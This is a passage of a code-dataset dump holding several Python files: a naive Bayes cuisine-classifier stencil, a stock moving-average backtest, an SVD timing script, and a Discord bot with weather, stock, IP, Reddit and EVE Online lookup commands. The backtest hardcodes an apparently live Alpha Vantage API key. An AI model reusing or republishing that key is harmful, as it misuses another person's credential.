0.0432,\n\t\t\t\t\tu'egg roll wrappers': 0.00043,\n\t\t\t\t\tu'bottled low sodium salsa': 0.291,\n\t\t\t\t\t... }\n\tu'indian': {u'low-sodium fat-free chicken broth': 0.00123,\n\t\t\t\t\tu'sweetened coconut': 0.0432,\n\t\t\t\t\tu'baking chocolate': 0.0,\n\t\t\t\t\tu'egg roll wrappers': 0.00032,\n\t\t\t\t\tu'bottled low sodium salsa': 0.00940,\n\t\t\t\t\t... }\n\t}\n\n\tAgain, as a sanity check, make sure that the probability of the ingredients sum to 1 \n\t(or very close to 1, there might be some rounding errors) for each cuisine.\n\"\"\"\ndef get_ingredient_prob_given_cuisine(data):\n\tingredient_prob_given_cuisine = {}\n\t\n\t# Calculate number of times each ingredient occurs for a given cuisine\n\n\t# Divide by total number of times the cuisine appears\n\n\treturn ingredient_prob_given_cuisine\n\n\"\"\"\nInput:\n\tingredient_list -> the list of ingredients from a new recipe we want to classify\n\tcuisine_probs -> result of get_cuisine_probs(data)\n\tingredient_prob_given_cuisine -> result of get_ingredient_prob_given_cuisine(data)\nOutput:\n\tString identifying most probable cuisine for the given ingredient list\n\nWe're trying to estimate p(cuisine | ingredients).\n\t- cuisine_probs contains p(cuisine) for each cuisine\n\t- ingredient_prob_given_cuisine contains p(ingredient | cuisine) for each ingredient\n\nUsing Bayes' Rule:\n\n\tp(cuisine | ingredients) = p(ingredients | cuisine)p(cuisine)/p(ingredients)\n\nWe're also making the assumption that each ingredient is independent, so this becomes\n\n\tp(cuisine | ingredients) = p(ingredient_1 | cuisine)p(ingredient_2 | cuisine)...p(ingredient_n | cuisine)p(cuisine)/p(ingredients)\n\nBut since the ingredients are actually given, we can't change the denominator, so all we care about is\n\n\tp(ingredient_1 | cuisine)p(ingredient_2 | cuisine)...p(ingredient_n | cuisine)p(cuisine)\n\nNow, all you have to do is iterate over every cuisine and find the max of the above equation, and return the cuisine that corresponds to that.\n\"\"\"\ndef get_max_cuisine(ingredient_list, cuisine_probs, ingredient_prob_given_cuisine):\n\tmax_prob = 0\n\tbest_cuisine = None\n\t# Iterate over every cuisine\n\tfor cuisine in cuisine_probs:\n\t\t# Set probability to p(cuisine)\n\t\tprob = None\n\t\t# Multiply by p(ingredient | cuisine) for each ingredient in ingredient_list\n\n\t\t# Check if new prob is higher and if so, set max_prob and best_cuisine\n\n\treturn best_cuisine\n\n\"\"\"\nTest your code by running eval_classifier(test_classifier('train.json'))! You'll get a number between 0 and 1 indicating\nthe percentage of classifications you got correct. I got 0.635 for my classifier.\n\nOutput:\n\tresults -> an array of tuples of the form (guessed cuisine, true cuisine) for each recipe in the test set.\n\"\"\"\ndef test_classifier(train_file):\n\t# Load data from training file\n\tdata = load_data(train_file)\n\t# Split data into training and test set\n\ttrain_data = data[:-1000]\n\ttest_data = data[-1000:]\n\t# Train the classifier\n\tcuisine_probs = get_cuisine_probs(train_data)\n\tingredient_prob_given_cuisine = get_ingredient_prob_given_cuisine(train_data)\n\n\t# Test the classifier\n\tresults = []\n\tfor recipe in test_data:\n\t\tcuisine = get_max_cuisine(recipe['ingredients'], cuisine_probs, ingredient_prob_given_cuisine)\n\t\tresults.append((cuisine, recipe['cuisine']))\n\n\treturn results\n\n\"\"\"\nCounts the number of tuples that match (where guessed_cuisine == true_cuisine)\n\"\"\"\ndef eval_classifier(results):\n\treturn sum(guessed_cuisine == true_cuisine for (guessed_cuisine, true_cuisine) in results)/float(len(results))\n\n\n\n\n\n","sub_path":"stencil_code/naive_bayes.py","file_name":"naive_bayes.py","file_ext":"py","file_size_in_byte":4979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"526704944","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom alpha_vantage.techindicators import TechIndicators\nfrom alpha_vantage.timeseries import TimeSeries\n\napi_key = \"5C0UONZ0TJ3FKCHZ\"\n\n\nclass PriceData:\n #needs, Ticker symbol, Date/Time Range(startdatetime and enddatetime), and resolution (time interval for price (1min, 5min etc))\n #gets price of ticker in pandas dataframe over specificed time frame\n def __init__(self, api_key, ticker, startdatetime, enddatetime, resolution):\n self.api_key = api_key\n self.ticker = ticker\n self.startdatetime = startdatetime\n self.enddatetime = enddatetime\n self.resolution = resolution\n\n def get_intraday_data(self):\n ts = TimeSeries(key=api_key, output_format='pandas') # getting time series data\n\n data, metadata = ts.get_intraday(symbol=ticker, interval=resolution, outputsize=\"full\") #stores open,high,low,close and volume of ticker at for chosen resolution\n df = data[::-1] #for some reason the timeseries dataframe is given in reverse, this gets it in the proper format\n self.price_df = df[startdatetime:enddatetime]\n\n return self.price_df\n\n\nclass MACrossStrat(PriceData):\n\n def __init__(self, api_key, ticker, startdatetime, enddatetime, resolution, longSMA, shortSMA, EMA):\n self.longSMA = longSMA #choose longterm moving average period\n self.shortSMA= shortSMA #choose shortterm moving average period\n self.EMA = EMA #choose EMA period\n PriceData.__init__(self, api_key, ticker, startdatetime, enddatetime, resolution)\n\n def get_MAs(self):\n ti = TechIndicators(key=api_key, output_format='pandas') # getting technical indicator and setting output to pandas dataframe\n\n #will be using 200SMA, 50SMA, and 10EMA for buy and sell signals\n #gets moving averages in pandas dataframe\n\n longSMAdata, longSMAmetadata = ti.get_sma(symbol=ticker, interval=resolution, time_period=self.longSMA)\n longSMAdatasubset = longSMAdata[startdatetime:enddatetime]\n\n shortSMAdata, longSMAmetadata = ti.get_sma(symbol=ticker, interval=resolution, time_period=self.shortSMA)\n shortSMAdatasubset = shortSMAdata[startdatetime:enddatetime]\n\n EMAdata, EMAmetadata = ti.get_ema(symbol=ticker, interval=resolution,time_period=self.EMA)\n EMAdatasubset = EMAdata[startdatetime:enddatetime]\n\n self.moving_average_df = pd.concat([longSMAdatasubset, shortSMAdatasubset, EMAdatasubset], axis=1)\n self.moving_average_df.columns = [\"longSMA\", \"shortSMA\", \"EMA\"]\n\n return self.moving_average_df\n\n def get_signals(self):\n self.signals = pd.DataFrame(index=self.moving_average_df.index) # initializing signals dataframe\n\n #create buy and sell signals based off of moving average crossover.\n #generates BUY signal when 10 EMA crosses 50SMA while above 200 SMA, SELL when crossing back below 50SMA\n #Also generates BUY signal when 10 EMA crosses above 200 SMA, signifying the stock currently has strong momentum, SELL if 10EMA crosss below 200SMA or 50SMA\n\n self.signals[\"signals\"] = np.where((self.moving_average_df['EMA'][::] > self.moving_average_df['shortSMA']) & (self.moving_average_df['longSMA'][::] < self.moving_average_df['EMA'][::]), 1.0,0.0)\n\n ##BUY and SELL signal dataframe column (1=BUY, -1=SELL, 0=Do nothing)\n\n self.signals['positions'] = self.signals['signals'].diff().fillna(0.0)\n\n return self.signals\n\n\nclass PortfolioValue:\n\n def __init__(self,shares,initial_capital, price_df, signals):\n self.price_df = price_df\n self.signals = signals\n self.shares = shares #choose how many shares you want to buy and sell at each signal\n self.initial_capital = initial_capital #choose starting capital for portfolio\n\n def positions(self):\n #generates dataframe of shares currently being held in portfolio\n\n self.positions = pd.DataFrame(index=self.price_df.index).fillna(0.0)\n\n self.positions[ticker] = self.shares * self.signals['signals'].fillna(0.0)\n\n self.pos_diff = self.positions.diff().fillna(0.0)\n\n return self.positions, self.pos_diff\n\n def portfolio(self):\n #initializing portfolio dataframe\n self.portfolio = self.positions.multiply(self.price_df['4. close'], axis=0)\n\n # Value of currently held position\n self.portfolio['holdings'] = (self.positions.multiply(self.price_df['4. close'], axis=0)).sum(axis=1)\n\n # Current cash available for trading\n self.portfolio['cash'] = self.initial_capital - (self.pos_diff.multiply(self.price_df['4. close'], axis=0)).sum(\n axis=1).cumsum()\n\n # total value of liquid assets held in portfolio\n self.portfolio['net_liquid'] = self.portfolio['cash'] + self.portfolio['holdings']\n\n # rolling percent change of total portfolio value\n self.portfolio['percent_change'] = self.portfolio['net_liquid'].pct_change()\n\n return self.portfolio\n\n\n\"\"\"Initialize data here\"\"\"\nticker = 'MSFT' #change ticker symbol here\nresolution = '5min' #allowable intervals include 1min, 5minute, 15min, 30min, and 60min.\nstartdatetime = \"2021-03-29 09:30:00\" ## choose timeframe within last 2 months\nenddatetime = \"2021-04-04 16:00:00\"\n\n\n#creating new MACrossStrat Object\npricedata=MACrossStrat(api_key, ticker, startdatetime, enddatetime, resolution, longSMA = 200, shortSMA = 50, EMA = 10)\n\npricedata.get_intraday_data()\npricedata.get_MAs()\npricedata.get_signals()\n\n#Creating new PortfolioValue object\nportfoliodata = PortfolioValue(100, 100000.0, pricedata.price_df, pricedata.signals)\n\nportfoliodata.positions()\nportfoliodata.portfolio()\n\n#creating Price and Moving Average plot with buy/sell signals\nfig = plt.figure(1)\nfig.patch.set_facecolor('white')\nax1 = fig.add_subplot(111, ylabel = 'Price in $', title=ticker)\npricedata.price_df['4. close'].plot(ax=ax1, color='k', lw=0.6, label='Price')\npricedata.moving_average_df['longSMA'].plot(ax=ax1, color='g', lw=0.4, label=\"longSMA\")\npricedata.moving_average_df['shortSMA'].plot(ax=ax1, color='m', lw=0.4, label='shortSMA')\npricedata.moving_average_df['EMA'].plot(ax=ax1, color='c', lw=0.4, label='EMA')\n#overlay buy/sell signals on price plot\nax1.legend()\nax1.plot(pricedata.signals.loc[pricedata.signals['positions'] == 1.0].index, pricedata.price_df[\"4. close\"][pricedata.signals['positions'] == 1.0], '^', markersize=5, color='g')\nax1.plot(pricedata.signals.loc[pricedata.signals['positions'] == -1.0].index, pricedata.price_df[\"4. close\"][pricedata.signals['positions'] == -1.0], 'v', markersize=5, color='r')\n\n\n#creating total portfolio value plot with buy/sell signals notated\nfig2=plt.figure(2)\nax2 = fig2.add_subplot(111, ylabel = \"Net Liquid\", title =\"Total Portfolio Value\")\nportfoliodata.portfolio['net_liquid'].plot(ax=ax2, lw=0.6)\n#overlay buy/sell signals on equity curve\nax2.plot(portfoliodata.portfolio.loc[pricedata.signals.positions == 1.0].index, portfoliodata.portfolio.net_liquid[pricedata.signals.positions == 1.0], '^', markersize=5, color='g')\nax2.plot(portfoliodata.portfolio.loc[pricedata.signals.positions == -1.0].index, portfoliodata.portfolio.net_liquid[pricedata.signals.positions == -1.0], 'v', markersize=5, color='r')\n\n\n\n\n###basic anaylsis on portfolio returns over the test time frame\n\nreturns = portfoliodata.portfolio['percent_change']\n\n# annualized Sharpe ratio, 252 trading days in a year\nsharpe_ratio = np.sqrt(252) * (returns.mean() / returns.std())\nprint(sharpe_ratio)\n\n\n# Calculate the max drawdown over test timeframe\nwindow = len(pricedata.price_df.index)\nrolling_max = pricedata.price_df['4. close'].rolling(window, min_periods=1).max()\nrolling_drawdown = pricedata.price_df['4. close']/rolling_max - 1.0\n\n# Calculate the maximum drawdown over test time frame\nmax_drawdown = rolling_drawdown.rolling(window, min_periods=1).min()\n\n\nfig3 = plt.figure(3)\nax3 = fig3.add_subplot(111, ylabel = '% Drawdown', title=\"Portfolio Drawdown\")\nrolling_drawdown.plot(ax=ax3,label=\"Rolling Drawdown\")\nmax_drawdown.plot(ax=ax3, label=\"Max Drawdown\")\nax3.legend()\nplt.show()\n","sub_path":"MovingAverageCrossStratBackTestNew.py","file_name":"MovingAverageCrossStratBackTestNew.py","file_ext":"py","file_size_in_byte":8135,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"345014624","text":"import argparse\nimport numpy as np\nimport scipy.linalg\nimport time\n\ndef test(args):\n\tstartTime=time.time()\n\tnp.set_printoptions(suppress=False)\n\tmat=np.loadtxt(args.inputFile)\n\tloadTime=time.time()\n\tprint(mat.shape)\n\tprint(\"loading;\", loadTime-startTime)\n\tU, s, V= scipy.linalg.svd(mat,full_matrices=False)\n#\tprint(U)\n#\tprint(s)\n#\tprint(V)\n\tcalcTime=time.time()\n\tprint(\"calculating SVD;\", calcTime-loadTime)\ndef main():\n\tparser = argparse.ArgumentParser(description='Perform SVD on a dense matrix stored in a text file.')\t\n\tparser.add_argument('-i', '--input', dest='inputFile', action='store', metavar='N', type=str, help='the name of input matrix file, stored in dense matrix format')\n\n\targs = parser.parse_args()\n\ttest(args)\n#\tprint(timeit.timeit(\"test(args)\"))\n\n\t\nif __name__ == \"__main__\":\n\tmain()\n","sub_path":"src/python/test-svd.py","file_name":"test-svd.py","file_ext":"py","file_size_in_byte":803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"355750322","text":"\r\n#using bot commands now like a big boy\r\n#bot sappo\r\n#0.1 - initial work\r\n#0.2 - conert to bot.commands\r\n#0.3 - add weather command\r\n#0.4 - add stock ticker lookup\r\n#0.5 - add IP lookup\r\n#0.6 - add reddit image pull and PRAW support\r\n#0.7 - now pulling more info for stock quotes and has it properly formatted. working on the ip command now to add google maps functionality\r\n#0.8 - adding a time command\r\n#0.9 - moving the PRAW reddit definition vars to .env where they are meant to live\r\n#0.9.1 - beginning to add EVE ESI commands for various lookup functions using unknown ids\r\n\r\n#imports\r\nfrom __future__ import print_function\r\nimport os\r\nimport random\r\nimport discord\r\nimport requests\r\nimport json\r\nimport praw\r\nfrom datetime import datetime, tzinfo, timedelta\r\nimport pytz\r\nfrom bravado.client import SwaggerClient\r\nimport bravado.exception\r\nfrom esipy import EsiApp\r\nfrom esipy import EsiClient\r\nfrom esipy import App\r\nfrom discord.ext import commands\r\nfrom dotenv import load_dotenv\r\n\r\n\r\nesi_app = EsiApp()\r\n\r\n#app = App.create(url=\"https://esi.evetech.net/latest/swagger.json?datasource=tranquility\")\r\n\r\nclient = EsiClient(\r\n retry_requests=True, # set to retry on http 5xx error (default False)\r\n headers={'User-Agent': 'rando eve user just lookin at stuff'},\r\n raw_body_only=False, # default False, set to True to never parse response and only return raw JSON string content.\r\n)\r\n\r\napp = esi_app.get_latest_swagger\r\n\r\nload_dotenv()\r\n\r\n#pull ins from the env file\r\ntoken = os.getenv('DISCORD_TOKEN')\r\nweather_key = os.getenv('API_KEY')\r\nstockmarket_key = os.getenv('STOCKMARKET_KEY')\r\n\r\n#reddit pull ins from the env file\r\nreddit_clientID = os.getenv('CLIENT_ID')\r\nreddit_clientSecret = os.getenv('CLIENT_SECRET')\r\nreddit_password = os.getenv('PASSWORD')\r\nreddit_username = os.getenv('USERNAME')\r\n\r\n\r\n\r\n\r\n#bot command modifier\r\nbot = commands.Bot(command_prefix='!')\r\n\r\n\r\n\r\n#begin bot commands\r\n@bot.command(name='d100', help='Roll the d100 to determine the fate of the alliance.')\r\nasync def d100(ctx):\r\n roll = str(random.randint(1,100))\r\n response = 'You rolled a ' + roll\r\n await ctx.send(response)\r\n\r\n@bot.command(name='create-channel', help='creates a text channel.')\r\n@commands.has_role('admin')\r\nasync def create_channel(ctx, channel_name):\r\n guild = ctx.guild\r\n existing_channel = discord.utils.get(guild.channels, name=channel_name)\r\n if not existing_channel:\r\n print(f'Creating a new channel: {channel_name}')\r\n await guild.create_text_channel(channel_name)\r\n\r\n@bot.command(name='weather', help='returns weather info for a given zip code')\r\nasync def weather(ctx, zip_code):\r\n base_url=\"http://api.openweathermap.org/data/2.5/weather?\"\r\n complete_url = base_url + \"appid=\" + weather_key + \"&zip=\" + str(zip_code) + \"&units=imperial\"\r\n full_json = requests.get(complete_url).json()\r\n weather_description = full_json['weather'][0]['description']\r\n weather_temp = full_json['main']['temp']\r\n response = \"The temperature at \" + str(zip_code) + \" is \" + str(int(weather_temp)) + \" degrees fahrenheit, the weather conditions are described as \" + weather_description\r\n await ctx.send(response)\r\n\r\n@bot.command(name='f', help='a fortune')\r\nasync def f(ctx):\r\n base_url = 'http://yerkee.com/api/fortune/wisdom'\r\n fortune_raw = requests.get(base_url)\r\n fortune_json = fortune_raw.json()\r\n fortune_text = fortune_json['fortune']\r\n await ctx.send(fortune_text)\r\n\r\n\r\n@bot.command(name='stock', help='stock quote lookup')\r\nasync def stock(ctx, ticker):\r\n query = 'https://www.alphavantage.co/query?function=GLOBAL_QUOTE&symbol=' + ticker + '&apikey=' + stockmarket_key\r\n json_output = requests.get(query)\r\n data = json_output.json()\r\n response = \"Here's some information about that security you requested:\\n\" + \"The current price is: \" + data[\"Global Quote\"][\"05. price\"] + \"\\n\" + \"The current change is: \" + data[\"Global Quote\"][\"09. change\"] + \"\\n\" + \"The change percent of that is: \" + data[\"Global Quote\"][\"10. change percent\"] + \"\\n\" + \"The security opened at: \" + data[\"Global Quote\"][\"02. open\"] + \"\\n\" + \"The security closed last at: \" + data[\"Global Quote\"][\"08. previous close\"]\r\n await ctx.send(response)\r\n\r\n@bot.command(name='ip', help='IP lookup info')\r\nasync def ip(ctx, address):\r\n base_url = 'https://ipapi.co/'\r\n json_url = base_url + address + '/json'\r\n get_data = requests.get(json_url)\r\n bulk_data = get_data.json()\r\n response1 = \"Looking up info regarding \" + bulk_data['ip'] + \"\\n\"\r\n response2 = \"City: \" + bulk_data[\"city\"] + \"\\n\"\r\n response3 = \"State or Region: \" + bulk_data[\"region\"] + \"\\n\"\r\n response4 = \"Country: \" + bulk_data[\"country_name\"] + \"\\n\"\r\n response5 = \"Organization: \" + bulk_data[\"org\"] + \"\\n\"\r\n full_reply = \"\\n **HACKER MODE ENGAGED**\\n\" + response1 + response2 + response3 + response4 + response5\r\n await ctx.send(full_reply)\r\n\r\n@bot.command(name='r', help='returns posts from the specified subreddit')\r\nasync def r(ctx, sub_reddit):\r\n reddit = praw.Reddit(client_id=reddit_clientID,\r\n client_secret=reddit_clientSecret,\r\n password=reddit_password,\r\n user_agent='testscript by /u/sapporojones',\r\n username=reddit_username)\r\n random_submission = reddit.subreddit(sub_reddit).random()\r\n if random_submission.over_18 == True:\r\n submission_url = \"Adult content detected, not posting\"\r\n else:\r\n submission_url = reddit.submission(random_submission).url\r\n await ctx.send(submission_url)\r\n\r\n\r\n@bot.command(name='time', help='current time for a variety of timezones')\r\nasync def time(ctx):\r\n base_url = \"http://worldtimeapi.org/api/timezone/\"\r\n\r\n pac_datetime_json = requests.get(base_url + \"/America/Los_Angeles\").json()\r\n pac_unix = pac_datetime_json['datetime']\r\n uswest = pac_unix[11:16]\r\n\r\n mtn_datetime_json = requests.get(base_url + \"/America/Denver\").json()\r\n mtn_unix = mtn_datetime_json['datetime']\r\n usmtn = mtn_unix[11:16]\r\n\r\n cent_datetime_json = requests.get(base_url + \"/America/Chicago\").json()\r\n cent_unix = cent_datetime_json['datetime']\r\n uscent = cent_unix[11:16]\r\n\r\n east_datetime_json = requests.get(base_url + \"/America/New_York\").json()\r\n east_unix = east_datetime_json['datetime']\r\n useast = east_unix[11:16]\r\n\r\n uk_datetime_json = requests.get(base_url + \"/Europe/London\").json()\r\n uk_unix = uk_datetime_json['datetime']\r\n uktz = uk_unix[11:16]\r\n\r\n ru_datetime_json = requests.get(base_url + \"/Europe/Moscow\").json()\r\n ru_unix = ru_datetime_json['datetime']\r\n rutz = ru_unix[11:16]\r\n\r\n au_datetime_json = requests.get(base_url + \"/Australia/Sydney\").json()\r\n au_unix = au_datetime_json['datetime']\r\n autz = au_unix[11:16]\r\n\r\n line1 = \"**West Coast: **\" + uswest + \"\\n\"\r\n line2 = \"**US Mountain: **\" + usmtn + \"\\n\"\r\n line3 = \"**US Central: **\" + uscent + \"\\n\"\r\n line4 = \"**US East: **\" + useast + \"\\n\"\r\n line5 = \"**London/GMT: **\" + uktz + \"\\n\"\r\n line6 = \"**Moscow, RU: **\" + rutz + \"\\n\"\r\n line7 = \"**Sydney, AU: **\" + autz\r\n response = line1 + line2 + line3 + line4 + line5 + line6 + line7\r\n\r\n await ctx.send(response)\r\n\r\n@bot.command(name='pilot', help='[RESTRICTED]get various urls about a given pilot name')\r\n@commands.has_role('admin')\r\nasync def pilot(ctx, characterName):\r\n client = SwaggerClient.from_url('https://esi.evetech.net/latest/swagger.json')\r\n charResults = client.Search.get_search(\r\n search=characterName,\r\n categories=['character'],\r\n strict=True,\r\n ).result()['character']\r\n\r\n if len(charResults) <= 0: raise Exception(\"Character not found\")\r\n\r\n characterId = charResults[0]\r\n characterId = str(characterId)\r\n line1 = \"**PILOT SEARCH RESULTS:**\" + \"\\n\"\r\n line2 = \"**ZKB:** https://zkillboard.com/character/\" + characterId + '/' + '\\n'\r\n line3 = \"**EVEWHO:** https://evewho.com/character/\" + characterId + \"/\" + \"\\n\"\r\n line4 = \"**TEST Auth:** https://auth.pleaseignore.com/eve/character/\" + characterId + \"/\" + \"\\n\"\r\n response = line1 + line2 + line3 + line4\r\n\r\n await ctx.send(response)\r\n\r\n@bot.command(name='corp', help='get various urls about a given corp')\r\nasync def corp(ctx, corporationName):\r\n client = SwaggerClient.from_url('https://esi.evetech.net/latest/swagger.json')\r\n corpResults = client.Search.get_search(\r\n search=corporationName,\r\n categories=['corporation'],\r\n strict=True,\r\n ).result()['corporation']\r\n\r\n if len(corpResults) <= 0: raise Exception(\"Corporation not found\")\r\n\r\n corporationId = corpResults[0]\r\n corporationId = str(corporationId)\r\n line1 = \"**CORP SEARCH RESULTS:**\" + \"\\n\"\r\n line2 = \"**ZKB:** https://zkillboard.com/corporation/\" + corporationId + '/' + '\\n'\r\n line3 = \"**EVEWHO:** https://evewho.com/corporation/\" + corporationId + \"/\" + \"\\n\"\r\n line4 = \"**DOTLAN:** http://evemaps.dotlan.net/corp/\" + corporationId + \"/\" + \"\\n\"\r\n response = line1 + line2 + line3 + line4\r\n\r\n await ctx.send(response)\r\n\r\n@bot.command(name='kick', help='kick a given user')\r\n@commands.has_role('admin')\r\nasync def kick(ctx, user: discord.Member):\r\n await ctx.guild.kick(user)\r\n await ctx.send('**User has been removed**')\r\n\r\n@bot.command(name='shlookup', help='get info on a pilot')\r\nasync def shlookup(ctx, pilot_name):\r\n #channel = message.channel\r\n pilot_lookup = app.op['post_universe_ids'](names=pilot_name)\r\n response = client.request(pilot_lookup, raw_body_only=True)\r\n response_data = response.raw\r\n char_json_response = json.loads(response_data)\r\n char_id = char_json_response[\"characters\"][0][\"id\"]\r\n \r\n zkb_base_url = \"https://zkillboard.com/api/stats/characterID/\" + str(char_id) + \"/\"\r\n zkb_response = requests.get(zkb_base_url)\r\n zkb_json_response = zkb_response.json()\r\n\r\n evewho_base_url = \"https://evewho.com/api/character/\" + str(char_id) + \"/\"\r\n evewho_response = requests.get(evewho_base_url)\r\n evewho_json_response = evewho_response.json()\r\n corporation_id = evewho_json_response[\"info\"][0][\"corporation_id\"]\r\n \r\n corp_name_get_url = \"https://esi.evetech.net/latest/corporations/\" + str(corporation_id) + \"/?datasource=tranquility\"\r\n corp_name_response = requests.get(corp_name_get_url)\r\n corp_name_json_response = corp_name_response.json()\r\n \r\n corp_name = corp_name_json_response[\"name\"]\r\n corp_member_count = corp_name_json_response[\"member_count\"]\r\n corp_ticker = corp_name_json_response[\"ticker\"]\r\n response = \"\"\r\n response += \"\\n\" \r\n response += f\"{pilot_name} is id {char_id}\" + \"\\n\"\r\n response += \"\\n\" \r\n response += f\"Here are some relevant urls for {pilot_name}:\" + \"\\n\"\r\n response += f\"Zkill: https://zkillboard.com/character/{char_id}/\"+ \"\\n\" \r\n response += f\"EveWho: https://evewho.com/character/{char_id}/\" + \"\\n\" \r\n response += f\"TEST Auth https://auth.pleaseignore.com/eve/character/{char_id}/\" + \"\\n\"\r\n response += \"\\n\" \r\n response += f\"{pilot_name} is a member of {corp_name} which has the ticker {corp_ticker} and has {corp_member_count} members\" + \"\\n\"\r\n response += f\"Here are some relevant urls for {corp_name}:\" + \"\\n\"\r\n response += f\"Zkill: https://zkillboard.com/corporation/{corporation_id}/\" + \"\\n\"\r\n response += f\"EveWho: https://evewho.com/corporation/{corporation_id}/\" + \"\\n\"\r\n response += f\"Dotlan: http://evemaps.dotlan.net/corp/{corporation_id}/\" + \"\\n\"\r\n response += \"\\n\" + \"Pilot was born \" + str(evewho_json_response['history'][0]['start_date']) + \"\\n\"\r\n response += f\"{pilot_name} has the following zkb stats:\" + \"\\n\"\r\n\r\n try:\r\n solo_kills = str(zkb_json_response[\"soloKills\"])\r\n except:\r\n solo_kills = str(0)\r\n\r\n response += (\"Solo Kills: \" + solo_kills) + \"\\n\"\r\n \r\n try:\r\n solo_losses = str(zkb_json_response[\"soloLosses\"])\r\n except:\r\n solo_losses = str(0)\r\n \r\n response += (\"Solo Losses: \" + solo_losses) + \"\\n\"\r\n \r\n try:\r\n total_kills = str(zkb_json_response[\"shipsDestroyed\"])\r\n\r\n #only execute this block if the character has kills\r\n zkb_kills_url = \"https://zkillboard.com/api/kills/characterID/\" + str(char_id) + \"/\"\r\n zkb_get_kills = requests.get(zkb_kills_url)\r\n zkb_kills_json = zkb_get_kills.json()\r\n last_kill_hash = zkb_kills_json[0][\"zkb\"][\"hash\"]\r\n last_kill_id_0 = zkb_kills_json[0][\"killmail_id\"]\r\n last_kill_url = \"https://esi.evetech.net/latest/killmails/\" + str(last_kill_id_0) + \"/\" + str(last_kill_hash) + \"/?datasource=tranquility\"\r\n last_kill_get = requests.get(last_kill_url)\r\n last_kill_date_json = last_kill_get.json()\r\n last_kill_datetime = last_kill_date_json[\"killmail_time\"]\r\n last_kill_time = last_kill_datetime[0:10]\r\n\r\n try:\r\n\r\n# dd = datetime.utcnow().date() - date(int(last_kill_time[0:4]), int(last_kill_time[6:7]), int(last_kill_time[9:10]))\r\n dd = datetime.utcnow().date() - datetime.strptime(last_kill_time, '%Y-%m-%d').date()\r\n dd = dd.days\r\n except:\r\n dd = str(0)\r\n\r\n\r\n except:\r\n total_kills = str(0)\r\n \r\n response += \"Total Kills: \" + total_kills + \"\\n\"\r\n \r\n try:\r\n total_losses = str(zkb_json_response[\"shipsLost\"])\r\n\r\n #only execute this block if the character has losses\r\n zkb_losses_url = \"https://zkillboard.com/api/losses/characterID/\" + str(char_id) + \"/\"\r\n zkb_get_losses = requests.get(zkb_losses_url)\r\n zkb_losses_json = zkb_get_losses.json()\r\n last_loss_id_0 = zkb_losses_json[0][\"killmail_id\"]\r\n last_loss_hash = zkb_losses_json[0][\"zkb\"][\"hash\"]\r\n last_loss_get_url = \"https://esi.evetech.net/latest/killmails/\" + str(last_loss_id_0) + \"/\" + str(last_loss_hash) + \"/?datasource=tranquility\"\r\n last_loss_get = requests.get(last_loss_get_url)\r\n last_loss_date_json = last_loss_get.json()\r\n lldt = last_loss_date_json[\"killmail_time\"]\r\n\r\n last_loss_time = lldt[0:10]\r\n try:\r\n\r\n# d1 = datetime.utcnow().date() - date(int(last_loss_time[0:4]), int(last_loss_time[6:7]), int(last_loss_time[9:10]))\r\n d1 = datetime.utcnow().date() - datetime.strptime(last_loss_time, '%Y-%m-%d').date()\r\n d1 = d1.days\r\n except:\r\n d1 = str(0)\r\n\r\n except:\r\n total_losses = str(0)\r\n\r\n response += \"Total Losses: \" + total_losses + \"\\n\"\r\n \r\n response += \"\\n\"\r\n\r\n try:\r\n response += f\"Last reported on a kill on {last_kill_time} which was {dd} days ago\" + \"\\n\"\r\n\r\n has_kill = 1\r\n except:\r\n response += \"Character has never been on a kill\" + \"\\n\"\r\n has_kill = 0\r\n try:\r\n response += f\"Last reported on a loss on {last_loss_time} which was {d1} days ago\" + \"\\n\"\r\n has_loss = 1\r\n except:\r\n response += \"Character has never had a loss\" + \"\\n\"\r\n has_loss = 0\r\n\r\n response += (\"\\n\")\r\n\r\n if has_kill == 1:\r\n\r\n if total_kills == 1:\r\n last_kill_id_0 = zkb_kills_json[0][\"killmail_id\"]\r\n response += \"Last kill:\\n\"\r\n response += f\"https://zkillboard.com/kill/{last_kill_id_0}/\" + \"\\n\"\r\n else:\r\n try:\r\n last_kill_id_0 = zkb_kills_json[0][\"killmail_id\"]\r\n last_kill_id_1 = zkb_kills_json[1][\"killmail_id\"]\r\n last_kill_id_2 = zkb_kills_json[2][\"killmail_id\"]\r\n last_kill_id_3 = zkb_kills_json[3][\"killmail_id\"]\r\n last_kill_id_4 = zkb_kills_json[4][\"killmail_id\"]\r\n response += (\"Last 5 kills:\\n\")\r\n response += (f\"https://zkillboard.com/kill/{last_kill_id_0}/\") + \"\\n\"\r\n response += (f\"https://zkillboard.com/kill/{last_kill_id_1}/\") + \"\\n\"\r\n response += (f\"https://zkillboard.com/kill/{last_kill_id_2}/\") + \"\\n\"\r\n response += (f\"https://zkillboard.com/kill/{last_kill_id_3}/\") + \"\\n\"\r\n response += (f\"https://zkillboard.com/kill/{last_kill_id_4}/\") + \"\\n\"\r\n except:\r\n last_kill_id_0 = zkb_kills_json[0][\"killmail_id\"]\r\n response += (\"Last kill:\\n\")\r\n response += (f\"https://zkillboard.com/kill/{last_kill_id_0}/\") + \"\\n\"\r\n else:\r\n return\r\n\r\n response += (\"\\n\")\r\n if has_loss == 1:\r\n if total_losses == 1:\r\n last_kill_id_0 = zkb_kills_json[0][\"killmail_id\"]\r\n response += (\"Last loss:\\n\")\r\n response += (f\"https://zkillboard.com/kill/{last_loss_id_0}/\") + \"\\n\"\r\n else:\r\n try:\r\n last_loss_id_0 = zkb_losses_json[0][\"killmail_id\"]\r\n last_loss_id_1 = zkb_losses_json[1][\"killmail_id\"]\r\n last_loss_id_2 = zkb_losses_json[2][\"killmail_id\"]\r\n last_loss_id_3 = zkb_losses_json[3][\"killmail_id\"]\r\n last_loss_id_4 = zkb_losses_json[4][\"killmail_id\"]\r\n response += (\"Last 5 losses:\\n\") + \"\\n\"\r\n response += (f\"https://zkillboard.com/kill/{last_loss_id_0}/\") + \"\\n\"\r\n response += (f\"https://zkillboard.com/kill/{last_loss_id_1}/\") + \"\\n\"\r\n response += (f\"https://zkillboard.com/kill/{last_loss_id_2}/\") + \"\\n\"\r\n response += (f\"https://zkillboard.com/kill/{last_loss_id_3}/\") + \"\\n\"\r\n response += (f\"https://zkillboard.com/kill/{last_loss_id_4}/\") + \"\\n\"\r\n except:\r\n last_kill_id_0 = 